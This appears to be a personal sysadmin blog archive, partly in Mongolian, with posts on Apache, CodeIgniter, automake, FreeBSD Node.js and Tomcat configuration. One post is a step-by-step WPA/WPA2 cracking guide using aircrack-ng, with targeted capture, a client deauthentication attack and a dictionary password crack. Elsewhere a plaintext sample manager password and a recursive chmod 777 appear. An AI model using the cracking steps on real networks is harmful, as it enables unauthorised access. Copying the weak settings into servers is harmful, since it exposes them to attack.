Showing posts with label Linux and apache. Show all posts
Showing posts with label Linux and apache. Show all posts

Friday, July 19, 2019

How to Install CodeIgniter PHP Framework on Ubuntu 18.04 LTS

<VirtualHost *:80>
 #ServerAdmin admin@yourdomain.com
 #ServerName yourdomain.com
 DocumentRoot /home/boroo/ftp/projects/codeigniter
 <Directory /home/boroo/ftp/projects/codeigniter/>
   Options +FollowSymLinks
   AllowOverride All
   Order allow,deny
   allow from all
 </Directory>
 ErrorLog /var/log/apache2/codeigniter-error_log
 CustomLog /var/log/apache2/codeigniter-access_log common
</VirtualHost>
linux server deer apache garaar tohiruulj baihad rewrite mod ajillahgui tohioldol baival htacces doorhi tohirgood hiigeerei, support ssl+rewrite mod. result: https://domain/subdir/api
#on apache2
#Options Indexes FollowSymLinks Includes ExecCGI
#AllowOverride All
<IfModule mod_rewrite.c>
RewriteEngine on
# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)/$ /$1 [L,R=301]
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [L,QSA]
</IfModule>

Tuesday, June 20, 2017

install automake 1.15 using aclocal.sh

#!/bin/bash

# run as root only
if [[ $EUID -ne 0 ]] ; then
    echo -e "\e[1;39m[   \e[31mError\e[39m   ] need root access to run this script\e[0;39m"
    exit 1
fi

function install_automake() {
    [ $# -eq 0 ] && { run_error "Usage: install_automake <version>"; exit; }
    local VERSION=${1}
    wget ftp://ftp.gnu.org/gnu/automake/automake-${VERSION}.tar.gz &> /dev/null
    if [ -f "automake-${VERSION}.tar.gz" ]; then
            tar -xzf automake-${VERSION}.tar.gz
            cd automake-${VERSION}/
            ./configure
            make && make install
            echo -e "\e[1;39m[   \e[1;32mOK\e[39m   ] automake-${VERSION} installed\e[0;39m"

        else
            echo -e "\e[1;39m[   \e[31mError\e[39m   ] cannot fetch file from ftp://ftp.gnu.org/gnu/automake/ \e[0;39m"
            exit 1
    fi
}
install_automake 1.15

Tuesday, December 8, 2015

how to run nodejs app in freebsd linux

1. how to install nodejs in freebsd
=======================
cd /usr/ports/lang/python27
make install clean
*******************************
if
- env: python: No such file or directory
then create link
ln -s /usr/local/bin/python2.7 /usr/local/bin/python
- Object directory not changed from original /usr/ports/devel/libexecinfo/work/libexecinfo-1.1
then download some lib
http://ftp.nsysu.edu.tw/FreeBSD/ports/local-distfiles/itetcu/libexecinfo-1.1.tar.bz2
http://ftp.nsysu.edu.tw/FreeBSD/ports/local-distfiles/sunpoet/npm-1.3.11.tar.xz
to
/usr/ports/distfiles/
then
cd /usr/ports/devel/libexecinfo
make deinstall
make install
*******************************
cd /usr/ports/www/node
./configure
make
cd /usr/ports/www/npm
make install
*******************************
whereis npm
npm: /usr/local/bin/npm /usr/local/lib/node_modules/npm/man/man1/npm.1 /usr/ports/www/npm
whereis node
node: /usr/local/bin/node /usr/local/man/man1/node.1.gz /usr/ports/www/node


2. how to install mongodb in freebsd
=======================
http://ftp.nsysu.edu.tw/FreeBSD/ports/local-distfiles/vanilla/v8-3.18.5.tar.xz
to
/usr/ports/distfiles/
then
cd /usr/ports/databases/mongodb
make install

Thursday, April 23, 2015

WPA/WPA2 CRACKING WITH AIRCRACK /KALI LINUX/

1. TERMINAL дээр airmon-ng start wlan0   гэж бичнэ.   

Харагдах байдал.  <a></a><a>http://s21.postimg.org/53t5tbfdz/image.jpg</a>

2. airodump-ng mon0 гэж бичнэ.

За нэг иймэрхүү харагдана.   <a>http://s24.postimg.org/s3cdprg0l/image.jpg</a>


3. Гарч ирсэн жагсаалт дотроос дайралт хийх утасгүй интернэтээ сонгож коммандаа бичнэ.

Жишээ нь 2 дахь дээр байгаа зургийн эхний утасгүй интернэт рүү дайръя гэвэл 

airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0  гэж бичнэ.

Нэмэлт тайлбар:

Эхлэл заавал airodump-ng байх ёстой.

2-рт --channel гэж бичээд араас нь  CH гэсний доод талын тоог залгаж бичнэ.

3-рт заавал  --write output гэж байна.

4-рт --bssid гэж бичээд BSSID гэсний доод талыг зай авж бичнэ.

5-рт  заавал mon0 гэж байна.

4. Өөр нэг TERMINAL нээж aireplay-ng --deauth 1 -a 00:24:B2:A0:51:14 -c 00:12:17:94:90:0D mon0 гэж бичнэ.

Нэмэлт тайлбар:

Эхлээд заавал aireplay-ng --deauth 1 гэж байна.

2-рт  -a гэж бичээд BSSID-аа зай авч бичнэ.

3-рт -c гэж бичээп араас нь 2-р зураг дээр байгаагийн STATION гэсний кодыг бичнэ.

4-рт заавал mon0 байна.

5. Уншиж дууссаны дараа WPA HANDSHAKE гэсэн бичиг гарч байвал бүх зүйл хэвийн үргэлжилж байна гэсэн үг.  Харагдах байдал: <a></a><a>http://s22.postimg.org/82coo6rbl/image.jpg</a>
<a>
</a>
<a>6. Одоо үргэлжлүүлээд шууд </a>aircrack-ng output-01.cap -w /root/tools/dictionaries/webster-dictionary.txt гэсэн комманд өгнө. Уншиж дууссаны дараа утасгүй интернэтийн нууц үг гарч илэрсэн болно.

Saturday, September 6, 2014

workers.properties for tomcat configuration

workers.tomcat_home=/opt/tomcat6
workers.java_home=/opt/jdk1.6.0_24
ps=/

# Define 1 real worker named ajp13
worker.list=worker1

# Set properties for worker named ajp13 to use ajp13 protocol,
# and run on port 8009
worker.ajp13.type=ajp13
worker.ajp13.host=localhost
worker.ajp13.port=8009
worker.ajp13.lbfactor=1

tomcat-users.xml for tomcat configuration

<?xml version='1.0' encoding='utf-8'?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
 contributor license agreements.  See the NOTICE file distributed with
 this work for additional information regarding copyright ownership.
 The ASF licenses this file to You under the Apache License, Version 2.0
 (the "License"); you may not use this file except in compliance with
 the License.  You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
-->
<tomcat-users>
<!--
 NOTE:  By default, no user is included in the "manager-gui" role required
 to operate the "/manager/html" web application.  If you wish to use this app,
 you must define such a user - the username and password are arbitrary.
-->
<!--
 NOTE:  The sample user and role entries below are wrapped in a comment
 and thus are ignored when reading this file. Do not forget to remove
 <!.. ..> that surrounds them.
-->

 <role rolename="manager-gui"/>
 <user username="tomcat" password="s3cret" roles="manager-gui"/>

</tomcat-users>

server.xml for tomcat configuration

<?xml version='1.0' encoding='utf-8'?>

<Server port="8005" shutdown="SHUTDOWN">

 <!--APR library loader. Documentation at /docs/apr.html -->
 <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
 <!--Initialize Jasper prior to webapps are loaded. Documentation at /docs/jasper-howto.html -->
 <Listener className="org.apache.catalina.core.JasperListener" />
 <!-- Prevent memory leaks due to use of particular java/javax APIs-->
 <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
 <!-- JMX Support for the Tomcat server. Documentation at /docs/non-existent.html -->
 <Listener className="org.apache.catalina.mbeans.ServerLifecycleListener" />
 <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />

 <!-- Global JNDI resources
      Documentation at /docs/jndi-resources-howto.html
 -->
 <GlobalNamingResources>
    <!-- Editable user database that can also be used by
        UserDatabaseRealm to authenticate users
    -->
    <Resource name="UserDatabase" auth="Container"
             type="org.apache.catalina.UserDatabase"
             description="User database that can be updated and saved"
             factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
             pathname="conf/tomcat-users.xml" />
 </GlobalNamingResources>

 <!-- A "Service" is a collection of one or more "Connectors" that share
      a single "Container" Note:  A "Service" is not itself a "Container",
      so you may not define subcomponents such as "Valves" at this level.
      Documentation at /docs/config/service.html
  -->
 <Service name="Catalina">
    <!--The connectors can use a shared executor, you can define one or more named thread pools-->
    <!--
    <Executor name="tomcatThreadPool" namePrefix="catalina-exec-"
       maxThreads="150" minSpareThreads="4"/>
    -->
    <!-- A "Connector" represents an endpoint by which requests are received
        and responses are returned. Documentation at :
        Java HTTP Connector: /docs/config/http.html (blocking & non-blocking)
        Java AJP  Connector: /docs/config/ajp.html
        APR (HTTP/AJP) Connector: /docs/apr.html
        Define a non-SSL HTTP/1.1 Connector on port 8080
    -->
    <Connector port="8080" protocol="HTTP/1.1"
              connectionTimeout="20000"
              redirectPort="8443" />
    <!--
    <Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
              maxThreads="150" scheme="https" secure="true"
              clientAuth="false" sslProtocol="TLS" />
    -->
    <!-- Define an AJP 1.3 Connector on port 8009 -->
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

    <!-- You should set jvmRoute to support load-balancing via AJP ie :
    <Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1">       
    -->
    <Engine name="Catalina" defaultHost="localhost">
     <!-- This Realm uses the UserDatabase configured in the global JNDI
          resources under the key "UserDatabase".  Any edits
          that are performed against this UserDatabase are immediately
          available for use by the Realm.  -->
     <Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/>

     <!-- Define the default virtual host
          Note: XML Schema validation will not work with Xerces 2.2.
      -->

     <Host name="www.hiimeloyun.mn" appBase="/home/jhosts" unpackWARs="true" autoDeploy="true" xmlValidation="false" xmlNamespaceAware="false">
   <Context path="" docBase="hiimeloyun.mn" debug="0"/>
   <!--<Alias>lan.hiimeloyun.mn</Alias>-->
   <Listener className="org.apache.jk.config.ApacheConfig" modJk="/opt/lampp/modules/mod_jk.so" />
     </Host>
   <Host name="lan.hiimeloyun.mn" appBase="/home/jhosts/hiimeloyun.mn" unpackWARs="true" autoDeploy="true" xmlValidation="false" xmlNamespaceAware="false">
       <Context path="" docBase="lan" debug="0"/>
       <Listener className="org.apache.jk.config.ApacheConfig" modJk="/opt/lampp/modules/mod_jk.so" />
     </Host>

    </Engine>
   
 </Service>

<Listener className="org.apache.jk.config.ApacheConfig" modJk="/opt/lampp/modules/mod_jk.so" />
</Server>

mod_js.conf for tomcat configuration


LoadModule jk_module modules/mod_jk.so

<IfModule mod_jk.c>

# Update this path to match your conf directory location
JkWorkersFile "/opt/tomcat6/conf/jk/workers.properties"

#Update this path to match your log directory location
JkLogFile "/opt/tomcat6/logs/mod_jk.log"

# Set the jk log level [debug|error|info]
JkLogLevel debug|error

# Select the log format
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

# JkOptions indicate to send SSL KEY SIZE
JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat set the request format
JkRequestLogFormat "%w %V %T"

</IfModule>

how to restart start stop tomcat with apache server in linux

sh /opt/tomcat6/bin/shutdown.sh
/etc/rc.d/lampp stopapache
/etc/rc.d/lampp startapache
sh /opt/tomcat6/bin/startup.sh

how to create java host folder by name parameters in linux

#!/bin/bash

ROOT=/home/jhosts/
cd $ROOT

if [ $# -eq 2 ]; then
   if [[ "$2" = "rm" ]]; then
      rm -R $1
      echo $1 is removed
      dir
   else
      mkdir $1
      mkdir $ROOT$1/logs
      chown jsproot:users -R $1/
      chmod 777 -R $1/
      useradd $2 -g users -s /bin/false -d $ROOT$1/
      passwd $2
      chown $2:users $ROOT$1/logs
      #chmod 777 $ROOT$1/logs
      echo $1 is created
   fi
else
   if [ $# -eq 3 ]; then
      mkdir $1
      mkdir $ROOT$1/logs
          chown jsproot:users -R $1/
          chmod 777 -R $1/
          useradd -e $3 -f 35 $2 -g users -s /bin/false -d $ROOT$1/
          passwd $2
      chown $2:users $ROOT$1/logs
          echo "$1 until ($3) is created"
   else
      echo "arguments for example: hiimeloyun.mn hiimeoyun 2012-12-21"
   fi
fi